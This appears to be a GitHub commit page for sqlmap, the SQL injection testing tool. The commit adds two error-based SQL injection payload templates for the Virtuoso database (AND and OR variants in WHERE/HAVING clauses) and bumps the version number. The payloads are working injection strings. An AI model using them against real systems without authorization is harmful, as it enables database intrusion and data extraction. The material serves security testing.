Skip to content

Commit ca608da

Browse files
committed
Adding Virtuoso error-based payloads
1 parent c75df91 commit ca608da

2 files changed

Lines changed: 40 additions & 1 deletion

File tree

data/xml/payloads/error_based.xml

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -958,6 +958,45 @@
958958
</details>
959959
</test>
960960

961+
<test>
962+
<title>Virtuoso AND error-based - WHERE or HAVING clause</title>
963+
<stype>2</stype>
964+
<level>5</level>
965+
<risk>1</risk>
966+
<clause>1</clause>
967+
<where>1</where>
968+
<!-- bit_shift (Virtuoso-exclusive) encloses the value-bearing INTEGER cast: reflects on Virtuoso, fails to bind elsewhere -->
969+
<vector>AND [RANDNUM]=bit_shift(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INTEGER),1)</vector>
970+
<request>
971+
<payload>AND [RANDNUM]=bit_shift(CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' AS INTEGER),1)</payload>
972+
</request>
973+
<response>
974+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
975+
</response>
976+
<details>
977+
<dbms>Virtuoso</dbms>
978+
</details>
979+
</test>
980+
981+
<test>
982+
<title>Virtuoso OR error-based - WHERE or HAVING clause</title>
983+
<stype>2</stype>
984+
<level>5</level>
985+
<risk>3</risk>
986+
<clause>1</clause>
987+
<where>2</where>
988+
<vector>OR [RANDNUM]=bit_shift(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INTEGER),1)</vector>
989+
<request>
990+
<payload>OR [RANDNUM]=bit_shift(CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' AS INTEGER),1)</payload>
991+
</request>
992+
<response>
993+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
994+
</response>
995+
<details>
996+
<dbms>Virtuoso</dbms>
997+
</details>
998+
</test>
999+
9611000
<test>
9621001
<title>IBM DB2 AND error-based - WHERE or HAVING clause</title>
9631002
<stype>2</stype>

lib/core/settings.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@
2020
from thirdparty import six
2121

2222
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
23-
VERSION = "1.10.7.197"
23+
VERSION = "1.10.7.198"
2424
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2525
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
2626
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

0 commit comments

Comments
 (0)